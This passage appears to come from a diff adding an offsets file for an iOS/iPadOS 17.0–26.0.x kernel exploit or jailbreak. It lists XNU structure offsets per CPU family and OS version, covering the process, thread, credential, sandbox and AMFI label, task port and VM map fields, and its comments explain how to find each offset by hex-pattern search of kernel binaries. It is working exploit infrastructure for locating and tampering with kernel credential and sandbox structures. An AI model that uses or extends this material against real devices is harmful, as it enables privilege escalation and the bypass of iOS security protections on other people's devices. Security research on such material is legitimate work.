off_thread_t_tro = 0; +uint32_t off_thread_ro_tro_proc = 0; // (lldb) p/x offsetof(thread_ro, tro_proc) +uint32_t off_thread_ro_tro_task = 0; // (lldb) p/x offsetof(thread_ro, tro_task) +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, machine.upcb) +// iOS 17.x, 18.x: find hex 88 42 40 B9 08 69 1B 12, xref search to identify the function that references it TWICE. Then, determine offset at prologue + 0x24 of that specific function. +// iOS 26.x: find hex 88 42 40 B9 08 69 1B 12, xref search to identify the function that references it TWICE. Then, determine offset at prologue + 0x1c or +0x24 of that specific function. +uint32_t off_thread_machine_upcb = 0; +uint32_t off_thread_machine_contextdata = 0; // just substract 8 from off_thread_machine_upcb. (lldb) p/x offsetof(thread, machine.contextData) +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, ctid) +// iOS 17.x: find hex F4 03 00 AA 1A 7F 40 93, and get it from prologue+0x6c; +// iOS 18.0+: find hex F4 03 00 AA 19 3D 00 12, and get it from prologue+0x6c(LDR); +// iOS 18.4 - 26.x: find hex ?? ?? FF B5 ?? ?? ?? ?? ?? ?? ?? ?? 02 00 80 52 03 00 80 52 04 00 80 12, and get it from prologue+0x64(LDR); +uint32_t off_thread_ctid = 0; +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, options) +// iOS 17.x - 18.3: find hex 08 7D 14 9B 09 FD 42 D3, and get if from prologue+0x20(LDRH); +// iOS 18.4 - 26.x: find hex E0 03 13 AA 02 00 F0 92 03 00 80 52, and get if from prologue+0x20(LDRH); +uint32_t off_thread_options = 0; +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, mutex.lck_mtx.data) +// iOS 17.x, 18.x, 26.x: xref str "called exception_triage when it was forbidden by the boot environment @%s:%d", get value from prologue+0x44 or +0x40(ADD), and finally calculate by adding 8. +uint32_t off_thread_mutex_lck_mtx_data = 0; +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, machine.kstackptr) +// iOS 17.x, 18.x: find hex 60 01 80 52 02 00 80 52, and get it from prologue+0x80, +0x84 or +0x8c(second STR); +// iOS 26.x: find hex 60 01 80 52 02 00 80 52, and get it from prologue+0x8c or +0x84(second STR); +uint32_t off_thread_machine_kstackptr = 0; +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, machine.jop_pid) +// iOS 17.x, 18.x, 26.x: find matched instr via search hex 3F 01 00 71 E8 03 88 9A ?? ?? ?? B9, find bl func from matched instr, and get it from bl func (`machine_thread_siguctx_pointer_convert_to_user`) prologue+0x38 or +0x3c(LDR); (lldb) p/x offsetof(thread, machine.rop_pid) +uint32_t off_thread_machine_jop_pid = 0; +uint32_t off_thread_machine_rop_pid = 0; // substract 8 from off_thread_machine_jop_pid; (lldb) p/x offsetof(thread, machine.jop_pid) +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, guard_exc_info.code) +// iOS 17.x-18.3.x: find str "guard_exc_info %llx %llx @%s:%d", and get it from prologue+0x10(first LDR); +// iOS 18.4+: no more exist, renamed to mach_exc_info.code +uint32_t off_thread_guard_exc_info_code = 0; +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, mach_exc_info.code) +// iOS 26.x: find str "guard_exc_info %llx %llx @%s:%d", and get it from prologue+0x28; (3rd LDR) +uint32_t off_thread_mach_exc_info_code = 0; +uint32_t off_thread_mach_exc_info_os_reason = 0; //substract 8 from off_thread_mach_exc_info_code. (lldb) p/x offsetof(thread, mach_exc_info.os_reason) +uint32_t off_thread_mach_exc_info_exception_type = 0; //substract 4 from off_thread_mach_exc_info_code. (lldb) p/x offsetof(thread, mach_exc_info.exception_type) +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, ast) +// iOS 17.x: find hex E9 07 9F 1A 08 79 1C 12 08 0D 09 2A, and get it from prologue+0x80 (ADD instr); +// iOS 18.0+: find hex E9 07 9F 1A 08 79 1C 12 08 0D 09 2A, and get it from prologue+0x90 (ADD instr); +// iOS 18.4+: find hex 09 80 C0 D2 09 00 E4 F2 01 01 09 AA E0 03 13 AA, get func by instr+0x14, and and get it from func prologue+0xa0(ADD instr) or 0xac(LDR instr); +// iOS 26.x: find hex 09 01 80 52 9F 02 00 71, and get it from prologue+0xa0(ADD instr) or 0xac(LDR instr); +uint32_t off_thread_ast = 0; +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, task_threads.next) +// iOS 17.x: find hex 1F 01 09 EB 81 FF FF 54, and get it from prologue+0x5c; +// iOS 18.0+: find hex E2 03 08 AA 3F FD A2 88 B6 00 80 52 5F 00 08 6B, and get it from prologue+0x5c(LDR); +// iOS 18.4+: find hex E2 03 08 AA BF FE A2 88 B4 00 80 52, and get it from prologue+0x58; +// iOS 26.x: find hex E2 03 08 AA BF FE A2 88 B4 00 80 52, and get it from prologue+0x58; +uint32_t off_thread_task_threads_next = 0; +uint32_t off_proc_p_list_le_next = 0; // (lldb) p/x offsetof(proc, p_list.le_next) +uint32_t off_proc_p_list_le_prev = 0; // (lldb) p/x offsetof(proc, p_list.le_prev) +uint32_t off_proc_p_proc_ro = 0; // (lldb) p/x offsetof(proc, p_proc_ro) +uint32_t off_proc_p_pid = 0; // (lldb) p/x offsetof(proc, p_pid) +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(proc, p_fd) +// iOS 17.x: find hex 8A 5A 01 B9 29 05 64 B2 EA 02 05 91 49 7D E8 C8, and get it from prologue+0x50(ADD); +// iOS 18.x: find hex ED 13 04 32 8C 01 0D 0B 9F 01 09 6B A3 14 00 54, and get it from prologue+0x50(ADD); +// iOS 26.x: find hex ?? ?? FF 34 E9 03 0A AA 4B 05 00 11 0B 7C AA 88 5F 01 09 6B, and get it from prologue+0x48; +uint32_t off_proc_p_fd = 0; +// NOT POSSIBLE to find offset from KDK. (lldb) p/x offsetof(proc, p_flag) +// iOS 17.x, 18.x: find hex 09 00 B0 52 08 11 29 B8 E0, and get it from prologue+0x60(LDR); +// iOS 26.x: find hex E8 03 00 AA E0 03 13 AA 88 00 00 34 ?? ?? ?? 94, and get it from prologue+0x7c or +0x78 (LDR, right before LSR) +uint32_t off_proc_p_flag = 0; +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(proc, p_textvp) +// iOS 17.x, 18.x, 26.x: xref str "exec_resettextvp: expected valid vp @%s:%d", and get it from prologue+0x28 (first LDR); +uint32_t off_proc_p_textvp = 0; +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(proc, p_name) +// iOS 17.x, 18.x, 26.x: xref str "initproc", and then get it from instr-0x4 +uint32_t off_proc_p_name = 0; +uint32_t off_proc_ro_pr_task = 0; // (lldb) p/x offsetof(proc_ro, pr_task) +uint32_t off_proc_ro_p_ucred = 0; // (lldb) p/x offsetof(proc_ro, p_ucred), newly changed in iOS 18.4+ +uint32_t off_ucred_cr_label = 0; // (lldb) p/x offsetof(ucred, cr_label) +// NOT POSSIBLE to find offset from KDK, since iOS 18+. (lldb) p/x offsetof(task, itk_space) +// iOS 17.x, 18.x, 26.x: find hex 68 1A 40 B9 08 41 00 51 1F 15 00 71, and get it from prologue+0x4c or + 0x50(LDR) +uint32_t off_task_itk_space = 0; +uint32_t off_task_threads_next = 0; // (lldb) p/x offsetof(task, threads.next) +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(task, task_exc_guard) +// iOS 17.x, 18.x, 26.x: find hex BF 06 02 71 E3 27 9F 1A, and get it from prologue+0x34(LDRB); +uint32_t off_task_task_exc_guard = 0; +uint32_t off_task_map = 0; // (lldb) p/x offsetof(task, map) +uint32_t off_filedesc_fd_ofiles = 0; // (lldb) p/x offsetof(filedesc, fd_ofiles) +uint32_t off_filedesc_fd_cdir = 0; // (lldb) p/x offsetof(filedesc, fd_cdir) +uint32_t off_fileproc_fp_glob = 0; // (lldb) p/x offsetof(fileproc, fp_glob) +uint32_t off_fileglob_fg_data = 0; // (lldb) p/x offsetof(fileglob, fg_data) +uint32_t off_fileglob_fg_flag = 0; // (lldb) p/x offsetof(fileglob, fg_flag) +uint32_t off_vnode_v_ncchildren_tqh_first = 0; // (lldb) p/x offsetof(vnode, v_ncchildren.tqh_first) +uint32_t off_vnode_v_nclinks_lh_first = 0; // (lldb) p/x offsetof(vnode, v_nclinks.lh_first) +uint32_t off_vnode_v_parent = 0; // (lldb) p/x offsetof(vnode, v_parent) +uint32_t off_vnode_v_data = 0; // (lldb) p/x offsetof(vnode, v_data) +uint32_t off_vnode_v_name = 0; // (lldb) p/x offsetof(vnode, v_name) +uint32_t off_vnode_v_usecount = 0; // (lldb) p/x offsetof(vnode, v_usecount) +uint32_t off_vnode_v_iocount = 0; // (lldb) p/x offsetof(vnode, v_iocount) +uint32_t off_vnode_v_writecount = 0; // (lldb) p/x offsetof(vnode, v_writecount) +uint32_t off_vnode_v_flag = 0; // (lldb) p/x offsetof(vnode, v_flag) +uint32_t off_vnode_v_mount = 0; // (lldb) p/x offsetof(vnode, v_mount) +uint32_t off_mount_mnt_flag = 0; // (lldb) p/x offsetof(mount, mnt_flag) +uint32_t off_namecache_nc_vp = 0; // (lldb) p/x offsetof(namecache, nc_vp) +uint32_t off_namecache_nc_child_tqe_next = 0; // (lldb) p/x offsetof(namecache, nc_child.tqe_next) +uint32_t off_arm_saved_state64_lr = 0; // (lldb) p/x offsetof(arm_saved_state64, lr) +uint32_t off_arm_saved_state64_pc = 0; // (lldb) p/x offsetof(arm_saved_state64, pc) +uint32_t off_arm_saved_state_uss_ss_64 = 0; // (lldb) p/x offsetof(arm_saved_state, uss.ss_64) +uint32_t off_ipc_space_is_table = 0; // (lldb) p/x offsetof(ipc_space, is_table) +uint32_t off_ipc_entry_ie_object = 0; // (lldb) p/x offsetof(ipc_entry, ie_object) +uint32_t off_ipc_port_ip_kobject = 0; // (lldb) p/x offsetof(ipc_port, ip_kobject) +uint32_t off_arm_kernel_saved_state_sp = 0; // (lldb) p/x offsetof(arm_kernel_saved_state, sp) +uint32_t off_vm_map_hdr = 0; // (lldb) p/x offsetof(_vm_map, hdr) +uint32_t off_vm_map_header_nentries = 0; // (lldb) p/x offsetof(vm_map_header, nentries) +uint32_t off_vm_map_entry_links_next = 0; // (lldb) p/x offsetof(vm_map_entry, links.next) +uint32_t off_vm_map_entry_vme_object_or_delta = 0; // (lldb) p/x offsetof(vm_map_entry, vme_object_or_delta) +uint32_t off_vm_map_entry_vme_alias = 0; // (lldb) p/x offsetof(vm_map_entry, vme_alias) +uint32_t off_vm_map_header_links_next = 0; // (lldb) p/x offsetof(vm_map_header, links.next) +uint32_t off_vm_object_vo_un1_vou_size = 0; // (lldb) p/x offsetof(vm_object, vo_un1.vou_size) +uint32_t off_vm_object_ref_count = 0; // (lldb) p/x offsetof(vm_object, ref_count) +uint32_t off_vm_named_entry_backing_copy = 0; // (lldb) p/x offsetof(vm_named_entry, backing.copy) +uint32_t off_vm_named_entry_size = 0; // (lldb) p/x offsetof(vm_named_entry, size) +uint32_t off_label_l_perpolicy_amfi = 0; // based on __Z14amfi_cslot_getP5label(_amfi_mac_slot) from kernel_ipadm3_183; (lldb) p/x offsetof(label, l_perpolicy[0]) +uint32_t off_label_l_perpolicy_sandbox = 0; // based on _label_get_sandbox(_label_slot_0) from kernel_ipadm3_183; (lldb) p/x offsetof(label, l_perpolicy[1]) + +uint32_t sizeof_ipc_entry = 0; // (lldb) p/x sizeof(ipc_entry) + +uint64_t smr_base = 0; // find hex 09 1D 08 12 08 11 10 12, get first orr instr from prologue, and check if equals `hex(2 or 3 << (62-T1SZ_BOOT))`. on iOS 17.0-17.7, it's 2 +uint64_t t1sz_boot = 0; // just run ./xpf-test +uint64_t pac_mask = 0; +uint64_t VM_MIN_KERNEL_ADDRESS = 0; +uint64_t VM_MAX_KERNEL_ADDRESS = 0; + + +bool gIsPACSupported = false; +bool gIsA18Above = false; + +cpu_subtype_t get_hw_cpufamily(void) { + cpu_subtype_t cpuFamily = 0; + size_t cpuFamilySize = sizeof(cpuFamily); + sysctlbyname("hw.cpufamily", &cpuFamily, &cpuFamilySize, NULL, 0); + return cpuFamily; +} + +bool is_pac_supported(void) { + cpu_subtype_t cpusubtype = 0; + size_t sz = sizeof(cpusubtype); + if (sysctlbyname("hw.cpusubtype", &cpusubtype, &sz, NULL, 0) != 0) return false; + if (cpusubtype == CPU_SUBTYPE_ARM64E) return true; + return false; +} + +static bool is_ipad_device(void) { + char machine[64] = {0}; + size_t sz = sizeof(machine); + sysctlbyname("hw.machine", machine, &sz, NULL, 0); + return strncmp(machine, "iPad", 4) == 0; +} + +void offsets_init(void) { + if (!(SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"17.0") && SYSTEM_VERSION_LESS_THAN(@"26.1"))) { + printf("[-] Only supported offset for iOS/iPadOS 17.0 - 26.0.x\n"); + exit(EXIT_FAILURE); + } + + cpu_subtype_t cpuFamily = get_hw_cpufamily(); + + bool isA10 = (cpuFamily == CPUFAMILY_ARM_HURRICANE); // A10 + + bool isA13Above = (cpuFamily == CPUFAMILY_ARM_LIGHTNING_THUNDER || // A13 + cpuFamily == CPUFAMILY_ARM_FIRESTORM_ICESTORM || // A14, M1 + cpuFamily == CPUFAMILY_ARM_BLIZZARD_AVALANCHE || // A15, M2 + cpuFamily == CPUFAMILY_ARM_EVEREST_SAWTOOTH || // A16 + cpuFamily == CPUFAMILY_ARM_COLL || // A17 + cpuFamily == CPUFAMILY_ARM_IBIZA || // M3 + cpuFamily == CPUFAMILY_ARM_TUPAI || // A18 + cpuFamily == CPUFAMILY_ARM_TAHITI || // A18 Pro + cpuFamily == CPUFAMILY_ARM_DONAN || // M4 + cpuFamily == CPUFAMILY_ARM_TILOS || // A19 + cpuFamily == CPUFAMILY_ARM_THERA); // A19 Pro + + bool isA15Above = (cpuFamily == CPUFAMILY_ARM_BLIZZARD_AVALANCHE || // A15, M2 + cpuFamily == CPUFAMILY_ARM_EVEREST_SAWTOOTH || // A16 + cpuFamily == CPUFAMILY_ARM_COLL || // A17 + cpuFamily == CPUFAMILY_ARM_IBIZA || // M3 + cpuFamily == CPUFAMILY_ARM_TUPAI || // A18 + cpuFamily == CPUFAMILY_ARM_TAHITI || // A18 Pro + cpuFamily == CPUFAMILY_ARM_DONAN || // M4 + cpuFamily == CPUFAMILY_ARM_TILOS || // A19 + cpuFamily == CPUFAMILY_ARM_THERA); // A19 Pro + + bool isA16Above = (cpuFamily == CPUFAMILY_ARM_EVEREST_SAWTOOTH || // A16 + cpuFamily == CPUFAMILY_ARM_COLL || // A17 + cpuFamily == CPUFAMILY_ARM_IBIZA || // M3 + cpuFamily == CPUFAMILY_ARM_TUPAI || // A18 + cpuFamily == CPUFAMILY_ARM_TAHITI || // A18 Pro + cpuFamily == CPUFAMILY_ARM_DONAN || // M4 + cpuFamily == CPUFAMILY_ARM_TILOS || // A19 + cpuFamily == CPUFAMILY_ARM_THERA); // A19 Pro + + bool isA17Above = (cpuFamily == CPUFAMILY_ARM_COLL || // A17 + cpuFamily == CPUFAMILY_ARM_IBIZA || // M3 + cpuFamily == CPUFAMILY_ARM_TUPAI || // A18 + cpuFamily == CPUFAMILY_ARM_TAHITI || // A18 Pro + cpuFamily == CPUFAMILY_ARM_DONAN || // M4 + cpuFamily == CPUFAMILY_ARM_TILOS || // A19 + cpuFamily == CPUFAMILY_ARM_THERA); // A19 Pro + + gIsA18Above = (cpuFamily == CPUFAMILY_ARM_TUPAI || // A18 + cpuFamily == CPUFAMILY_ARM_TAHITI || // A18 Pro + cpuFamily == CPUFAMILY_ARM_DONAN || // M4 + cpuFamily == CPUFAMILY_ARM_TILOS || // A19 + cpuFamily == CPUFAMILY_ARM_THERA); // A19 Pro + + bool isMSeriesIpad = is_ipad_device() && ( + cpuFamily == CPUFAMILY_ARM_FIRESTORM_ICESTORM || // M1 + cpuFamily == CPUFAMILY_ARM_BLIZZARD_AVALANCHE || // M2 + cpuFamily == CPUFAMILY_ARM_IBIZA || // M3 + cpuFamily == CPUFAMILY_ARM_DONAN); // M4 + + gIsPACSupported = is_pac_supported(); + + // Obtained offsets from Sonoma 14.0 (KDK), similar with iOS 17.0 + // iOS 17.0.x + if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"17.0")) { + off_inpcb_inp_list_le_next = 0x20; // 17.0-17.7.x + off_inpcb_inp_pcbinfo = 0x38; // 17.0-17.7.x + off_inpcb_inp_socket = 0x40; // 17.0-17.7.x + off_inpcb_inp_depend6_inp6_icmp6filt = 0x150; //17.0, 17.1-17.7.x + off_inpcb_inp_depend6_inp6_chksum = 0x158; //17.0, 17.1-17.7.x + off_inpcbinfo_ipi_zone = 0x68; // 17.0-17.7.x + off_socket_so_usecount = 0x22c; //17.0, 17.1-17.3.x, 17.4-17.7.x + off_socket_so_proto = 0x18; //17.0-17.3.x, 17.4-17.7.x + off_socket_so_background_thread = 0x288; //17.0, 17.1-17.3.x, 17.4-17.7.x + off_kalloc_type_view_kt_zv_zv_name = 0x10; // 17.0-17.7.x + off_thread_ro_tro_proc = 0x10; //17.0-17.3.x, 17.4-17.7.x + off_thread_ro_tro_task = 0x20; //17.0-17.3.x, 17.4-17.7.x + off_thread_machine_upcb = 0xb0; //different PER DEVICES; A12+, A17&M4, A10 + off_thread_machine_contextdata = 0xb0-8; //different PER DEVICES; A12+, A17&M4, A10 + off_thread_t_tro = 0x358; //different PER DEVICES; A12, A13+, A15+, A17, M4, A10 + off_thread_ctid = 0x408; //different PER DEVICES; A12, A13+, A15+, A17, M4, A10 + off_thread_options = 0x70; //different PER DEVICES; A12+, A17&M4, A10 + off_thread_mutex_lck_mtx_data = 0x380+8; //different PER DEVICES; A12, A13+, A15+, A17, M4, A10 + off_thread_machine_kstackptr = 0xe8; //different PER DEVICES; A12, A13+, A17&M4, A10 + off_thread_machine_jop_pid = 0x158; //different PER DEVICES; A12, A13+, A15+, A17&M4 + off_thread_machine_rop_pid = 0x158-8; //different PER DEVICES; A12, A13+, A15+, A17&M4 + off_thread_guard_exc_info_code = 0x308; //different PER DEVICES; A12, A13+, A15+, A17, M4, A10 + off_thread_ast = 0x37c; //different PER DEVICES; A12, A13+, A15+, A17, M4, A10 + off_thread_task_threads_next = 0x348; //different PER DEVICES; A12, A13+, A15+, A17, M4, A10 + off_proc_p_list_le_next = 0x0; //17.0-17.7 + off_proc_p_list_le_prev = 0x8; //17.0-17.7 + off_proc_p_proc_ro = 0x18; //17.0-17.7 + off_proc_p_pid = 0x60; //17.0-17.7 + off_proc_p_fd = 0xd0; //17.0-17.7 + off_proc_p_flag = 0x454; //17.0-17.7 + off_proc_p_textvp = 0x548; //17.0-17.7 + off_proc_p_name = 0x579; //17.0-17.3.x, 17.4-17.7.x + off_proc_ro_pr_task = 0x8; //17.0-17.7 + off_proc_ro_p_ucred = 0x20; //17.0-17.7 + off_ucred_cr_label = 0x78; //17.0-17.7 + off_task_itk_space = 0x300; //17.0-17.7 + off_task_threads_next = 0x58; //17.0-17.7 + off_task_task_exc_guard = 0x5bc; //different PER DEVICES; A12, A15+, M4, A10 + off_task_map = 0x28; //17.0-17.7 + off_filedesc_fd_ofiles = 0x28; //17.0-17.7 + off_filedesc_fd_cdir = 0x48; //17.0-17.7 + off_fileproc_fp_glob = 0x10; //17.0-17.7 + off_fileglob_fg_data = 0x38; //17.0-17.7 + off_fileglob_fg_flag = 0x10; //17.0-17.7 + off_vnode_v_ncchildren_tqh_first = 0x30; //17.0-17.7 + off_vnode_v_nclinks_lh_first = 0x40; //17.0-17.7 + off_vnode_v_parent = 0xc0; //17.0-17.7 + off_vnode_v_data = 0xe0; //17.0-17.7 + off_vnode_v_name = 0xb8; //17.0-17.7 + off_vnode_v_usecount = 0x60; //17.0-17.7 + off_vnode_v_iocount = 0x64; //17.0-17.7 + off_vnode_v_writecount = 0xb0; //17.0-17.7 + off_vnode_v_flag = 0x54; //17.0-17.7 + off_vnode_v_mount = 0xd8; //17.0-17.7 + off_mount_mnt_flag = 0x70; //17.0-17.7 + off_namecache_nc_vp = 0x50; //17.0-17.7 + off_namecache_nc_child_tqe_next = 0x10; //17.0-17.7 + off_arm_saved_state64_lr = 0xf0; //17.0-17.7 + off_arm_saved_state64_pc = 0x100; //17.0-17.7 + off_arm_saved_state_uss_ss_64 = 0x8; //17.0-17.7 + off_ipc_space_is_table = 0x20; //17.0-17.7 + off_ipc_entry_ie_object = 0; //17.0-17.7 + off_ipc_port_ip_kobject = 0x48; //17.0-17.7 + off_arm_kernel_saved_state_sp = 0x60; //17.0-17.7 + off_vm_map_hdr = 0x10; //17.0-17.7 + off_vm_map_header_nentries = 0x20; //17.0-17.7 + off_vm_map_entry_links_next = 0x8; //17.0-17.7 + off_vm_map_entry_vme_object_or_delta = 0x3c; //17.0-17.7 + off_vm_map_entry_vme_alias = 0x40; //17.0-17.7 + off_vm_map_header_links_next = 0x8; //17.0-17.7 + off_vm_object_vo_un1_vou_size = 0x18; //17.0-17.7 + off_vm_object_ref_count = 0x28; //17.0-17.7 + off_vm_named_entry_backing_copy = 0x10; //17.0-17.7 + off_vm_named_entry_size = 0x20; //17.0-17.7 + off_label_l_perpolicy_amfi = 0x8; //17.0-17.7 + off_label_l_perpolicy_sandbox = 0x10; //17.0-17.7 + + smr_base = 2; + t1sz_boot = 0x19; + sizeof_ipc_entry = 0x18; + VM_MIN_KERNEL_ADDRESS = 0xFFFFFFDC00000000; + VM_MAX_KERNEL_ADDRESS = 0xFFFFFFFBFFFFFFFF; + + if(isA13Above) { + off_thread_t_tro = 0x368; + off_thread_ctid = 0x418; + off_thread_mutex_lck_mtx_data = 0x390+8; + off_thread_machine_kstackptr = 0xf0; + off_thread_machine_jop_pid = 0x160; + off_thread_machine_rop_pid = 0x160-8; + off_thread_guard_exc_info_code = 0x318; + off_thread_ast = 0x38c; + off_thread_task_threads_next = 0x358; + } + + if(isA15Above) { + off_thread_t_tro = 0x370; + off_thread_ctid = 0x420; + off_thread_mutex_lck_mtx_data = 0x398+8; + off_thread_machine_jop_pid = 0x168; + off_thread_machine_rop_pid = 0x168-8; + off_thread_guard_exc_info_code = 0x320; + off_thread_ast = 0x394; + off_thread_task_threads_next = 0x360; + off_task_task_exc_guard = 0x5d4; + } + + if(isA16Above || isMSeriesIpad) { + t1sz_boot = 0x11; + } + + if(isA17Above) { + off_thread_machine_upcb = 0x100; + off_thread_machine_contextdata = 0x100-8; + off_thread_t_tro = 0x3c0; + off_thread_ctid = 0x470; + off_thread_options = 0xc0; + off_thread_mutex_lck_mtx_data = 0x3e8+8; + off_thread_machine_kstackptr = 0x140; + off_thread_machine_jop_pid = 0x1B8; + off_thread_machine_rop_pid = 0x1B8-8; + off_thread_guard_exc_info_code = 0x370; + off_thread_ast = 0x3e4; + off_thread_task_threads_next = 0x3b0; + } + + if(isA10) { + off_thread_machine_upcb = 0xf8; + off_thread_machine_contextdata = 0xf8-8; + off_thread_t_tro = 0x388; + off_thread_ctid = 0x438; + off_thread_options = 0xb8; + off_thread_mutex_lck_mtx_data = 0x3b0+8; + off_thread_machine_kstackptr = 0x130; + off_thread_machine_jop_pid = 0xdeaddead; // exists only PAC-devices + off_thread_machine_rop_pid = 0xdeaddead; // exists only PAC-devices + off_thread_guard_exc_info_code = 0x338; + off_thread_ast = 0x3ac; + off_thread_task_threads_next = 0x378; + off_task_task_exc_guard = 0x59c; + } + + if(isMSeriesIpad) { + VM_MIN_KERNEL_ADDRESS = 0xFFFFFE0000000000; + VM_MAX_KERNEL_ADDRESS = 0xFFFFFE8FFFFFFFFF; + } + } + // iOS 17.1-17.3 + if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"17.1")) { + off_inpcb_inp_depend6_inp6_icmp6filt = 0x148; + off_inpcb_inp_depend6_inp6_chksum = 0x150; + off_socket_so_usecount = 0x24c; + off_socket_so_background_thread = 0x2a8; + off_thread_t_tro = 0x368; + off_thread_ctid = 0x418; + off_thread_mutex_lck_mtx_data = 0x390+8; + off_thread_guard_exc_info_code = 0x318; + off_thread_ast = 0x38C; + off_thread_task_threads_next = 0x358; + + if(isA13Above) { + off_thread_t_tro = 0x378; + off_thread_ctid = 0x428; + off_thread_mutex_lck_mtx_data = 0x3a0+8; + off_thread_guard_exc_info_code = 0x328; + off_thread_ast = 0x39c; + off_thread_task_threads_next = 0x368; + } + + if(isA15Above) { + off_thread_t_tro = 0x380; + off_thread_ctid = 0x430; + off_thread_mutex_lck_mtx_data = 0x3a8+8; + off_thread_guard_exc_info_code = 0x330; + off_thread_ast = 0x3A4; + off_thread_task_threads_next = 0x370; + } + + if(isA17Above) { + off_thread_t_tro = 0x3d0; + off_thread_ctid = 0x480; + off_thread_mutex_lck_mtx_data = 0x3f8+8; + off_thread_guard_exc_info_code = 0x380; + off_thread_ast = 0x3F4; + off_thread_task_threads_next = 0x3c0; + } + + if(isA10) { + off_thread_t_tro = 0x398; + off_thread_ctid = 0x448; + off_thread_mutex_lck_mtx_data = 0x3c0+8; + off_thread_guard_exc_info_code = 0x348; + off_thread_ast = 0x3BC; + off_thread_task_threads_next = 0x388; + } + } + // iOS 17.4-17.7 + if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"17.4")) { + off_socket_so_usecount = 0x254; + off_socket_so_proto = 0x20; + off_socket_so_background_thread = 0x2b0; + off_thread_ro_tro_proc = 0x18; + off_thread_ro_tro_task = 0x28; + off_proc_p_name = 0x57d; + off_thread_t_tro = 0x370; + off_thread_ctid = 0x420; + off_thread_mutex_lck_mtx_data = 0x398+8; + off_thread_guard_exc_info_code = 0x320; + off_thread_ast = 0x394; + off_thread_task_threads_next = 0x360; + + if(isA13Above) { + off_thread_t_tro = 0x380; + off_thread_ctid = 0x430; + off_thread_mutex_lck_mtx_data = 0x3a8+8; + off_thread_guard_exc_info_code = 0x330; + off_thread_ast = 0x3a4; + off_thread_task_threads_next = 0x370; + } + + if(isA15Above) { + off_thread_t_tro = 0x388; + off_thread_ctid = 0x438; + off_thread_mutex_lck_mtx_data = 0x3b0+8; + off_thread_guard_exc_info_code = 0x338; + off_thread_ast = 0x3ac; + off_thread_task_threads_next = 0x378; + } + + if(isA17Above) { + off_thread_t_tro = 0x3d8; + off_thread_ctid = 0x488; + off_thread_mutex_lck_mtx_data = 0x400+8; + off_thread_guard_exc_info_code = 0x388; + off_thread_ast = 0x3fc; + off_thread_task_threads_next = 0x3c8; + } + + if(gIsA18Above) { + off_thread_t_tro = 0x3E0; + off_thread_ctid = 0x4a0; + off_thread_mutex_lck_mtx_data = 0x408+8; + off_thread_guard_exc_info_code = 0x390; + off_thread_ast = 0x404; + off_thread_task_threads_next = 0x3D0; + off_task_task_exc_guard = 0x5DC; + } + + if(isA10) { + off_thread_t_tro = 0x3a0; + off_thread_ctid = 0x450; + off_thread_mutex_lck_mtx_data = 0x3c8+8; + off_thread_guard_exc_info_code = 0x350; + off_thread_ast = 0x3c4; + off_thread_task_threads_next = 0x390; + } + } + + // iOS 18.0.x + if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"18.0")) { + off_inpcb_inp_list_le_next = 0x20; //18.0-18.7 + off_inpcb_inp_pcbinfo = 0x38; //18.0-18.7 + off_inpcb_inp_socket = 0x40; //18.0-18.7 + off_inpcb_inp_depend6_inp6_icmp6filt = 0x148; //18.0-18.7 + off_inpcb_inp_depend6_inp6_chksum = 0x150; //18.0-18.7 + off_inpcbinfo_ipi_zone = 0x68; //18.0-18.7 + off_socket_so_usecount = 0x254; //18.0-18.7 + off_socket_so_proto = 0x20; //18.0-18.7 + off_socket_so_background_thread = 0x2b0; //18.0-18.7 + off_kalloc_type_view_kt_zv_zv_name = 0x10; //18.0-18.7 + off_thread_ro_tro_proc = 0x18; //18.0-18.7 + off_thread_ro_tro_task = 0x28; //18.0-18.7 + off_thread_machine_upcb = 0xb8; //different PER DEVICES; A12+, A17+, A10 + off_thread_machine_contextdata = 0xb8-8; //different PER DEVICES; A12+, A17+, A10 + off_thread_t_tro = 0x378; //different PER DEVICES; A12, A13+, A15+, A17, A18, A10 + off_thread_ctid = 0x428; //different PER DEVICES; A12, A13+, A15+, A17, A18, A10 + off_thread_options = 0x70; //different PER DEVICES; A12+, A17+, A10 + off_thread_mutex_lck_mtx_data = 0x3a0+8; //different PER DEVICES; A12, A13+, A15+, A17, A18, A10 + off_thread_machine_kstackptr = 0xF0; //different PER DEVICES; A12, A13+, A17+, A10 + off_thread_machine_jop_pid = 0x160; //different PER DEVICES; A12, A13+, A15+, A17+ + off_thread_machine_rop_pid = 0x160-8; //different PER DEVICES; A12, A13+, A15+, A17+ + off_thread_guard_exc_info_code = 0x320; //different PER DEVICES; A12, A13+, A15, A17, A18, A10 + off_thread_ast = 0x39C; //different PER DEVICES; A12, A13+, A15+, A17, A18, A10 + off_thread_task_threads_next = 0x368; //different PER DEVICES; A12, A13+, A15+, A17, A18, A10 + off_proc_p_list_le_next = 0x0; //18.0-18.7 + off_proc_p_list_le_prev = 0x8; //18.0-18.7 + off_proc_p_proc_ro = 0x18; //18.0-18.7 + off_proc_p_pid = 0x60; //18.0-18.7 + off_proc_p_fd = 0xd0; //18.0-18.7 + off_proc_p_flag = 0x454; //18.0-18.7 + off_proc_p_textvp = 0x548; //18.0-18.7 + off_proc_p_name = 0x57d; //18.0-18.7 + off_proc_ro_pr_task = 0x8; //18.0-18.7 + off_proc_ro_p_ucred = 0x20; //18.0-18.3.x + off_ucred_cr_label = 0x78; //18.0-18.7 + off_task_itk_space = 0x318; //18.0-18.7; same PER DEVICES; + off_task_threads_next = 0x50; //18.0-18.7 + off_task_task_exc_guard = 